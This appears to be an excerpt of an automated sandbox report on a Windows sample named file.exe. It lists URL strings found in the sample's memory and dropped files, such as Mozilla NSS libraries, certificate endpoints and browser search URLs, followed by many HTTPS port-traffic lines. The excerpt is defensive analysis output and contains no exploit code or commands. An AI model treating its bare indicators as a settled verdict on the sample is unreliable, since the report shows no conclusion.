Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000001.00000002.2781058086.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2759021465.000000001D34D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp, EHJKFCGH.1.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 5ee51f18-e93f-4b66-9a6b-ed1139d70f1e.tmp.14.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000001.00000002.2769616265.0000000023373000.00000004.00000020.00020000.00000000.sdmp, EHIJDHCAKKFCBGCBAAEC.1.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000001.00000002.2769616265.0000000023373000.00000004.00000020.00020000.00000000.sdmp, EHIJDHCAKKFCBGCBAAEC.1.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp, EHJKFCGH.1.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp, CBGCAFII.1.dr, EHJKFCGH.1.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp, CBGCAFII.1.dr, EHJKFCGH.1.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.13.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.13.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: a793fd1c-e71f-4522-8620-f4a2128ecd1e.tmp.14.dr, 5ee51f18-e93f-4b66-9a6b-ed1139d70f1e.tmp.14.dr	String found in binary or memory: https://clients2.google.com
Source: a793fd1c-e71f-4522-8620-f4a2128ecd1e.tmp.14.dr, 5ee51f18-e93f-4b66-9a6b-ed1139d70f1e.tmp.14.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000001.00000002.2769616265.0000000023373000.00000004.00000020.00020000.00000000.sdmp, EHIJDHCAKKFCBGCBAAEC.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000001.00000002.2769616265.0000000023373000.00000004.00000020.00020000.00000000.sdmp, EHIJDHCAKKFCBGCBAAEC.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 2cc80dabc69f58b6_0.13.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp, CBGCAFII.1.dr, EHJKFCGH.1.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp, CBGCAFII.1.dr, EHJKFCGH.1.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp, CBGCAFII.1.dr, EHJKFCGH.1.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: a793fd1c-e71f-4522-8620-f4a2128ecd1e.tmp.14.dr, 5ee51f18-e93f-4b66-9a6b-ed1139d70f1e.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log0.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 000003.log.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 000003.log.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: EHIJDHCAKKFCBGCBAAEC.1.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: https://mozilla.org0/
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 2cc80dabc69f58b6_0.13.dr	String found in binary or memory: https://ntp.msn.com
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: 2cc80dabc69f58b6_0.13.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://srtb.msn.com/
Source: KECBGCGCGIEGCBFHIIEBFCAFHI.1.dr	String found in binary or memory: https://support.mozilla.org
Source: KECBGCGCGIEGCBFHIIEBFCAFHI.1.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: KECBGCGCGIEGCBFHIIEBFCAFHI.1.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.13.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.13.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.13.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: file.exe, 00000001.00000002.2769616265.0000000023373000.00000004.00000020.00020000.00000000.sdmp, EHIJDHCAKKFCBGCBAAEC.1.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp, EHJKFCGH.1.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.13.dr, content.js.13.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000001.00000002.2726149421.0000000000775000.00000004.00000020.00020000.00000000.sdmp, CBGCAFII.1.dr, EHJKFCGH.1.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: a793fd1c-e71f-4522-8620-f4a2128ecd1e.tmp.14.dr, 5ee51f18-e93f-4b66-9a6b-ed1139d70f1e.tmp.14.dr	String found in binary or memory: https://www.googleapis.com
Source: KECBGCGCGIEGCBFHIIEBFCAFHI.1.dr	String found in binary or memory: https://www.mozilla.org
Source: KECBGCGCGIEGCBFHIIEBFCAFHI.1.dr	String found in binary or memory: https://www.mozilla.org#
Source: file.exe, 00000001.00000002.2726494046.0000000000C24000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: KECBGCGCGIEGCBFHIIEBFCAFHI.1.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000001.00000002.2726494046.0000000000C24000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000001.00000002.2726494046.0000000000C24000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000002.2726494046.0000000000D07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000001.00000002.2726494046.0000000000D07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: KECBGCGCGIEGCBFHIIEBFCAFHI.1.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: KECBGCGCGIEGCBFHIIEBFCAFHI.1.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: file.exe, 00000001.00000002.2769616265.0000000023373000.00000004.00000020.00020000.00000000.sdmp, EHIJDHCAKKFCBGCBAAEC.1.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
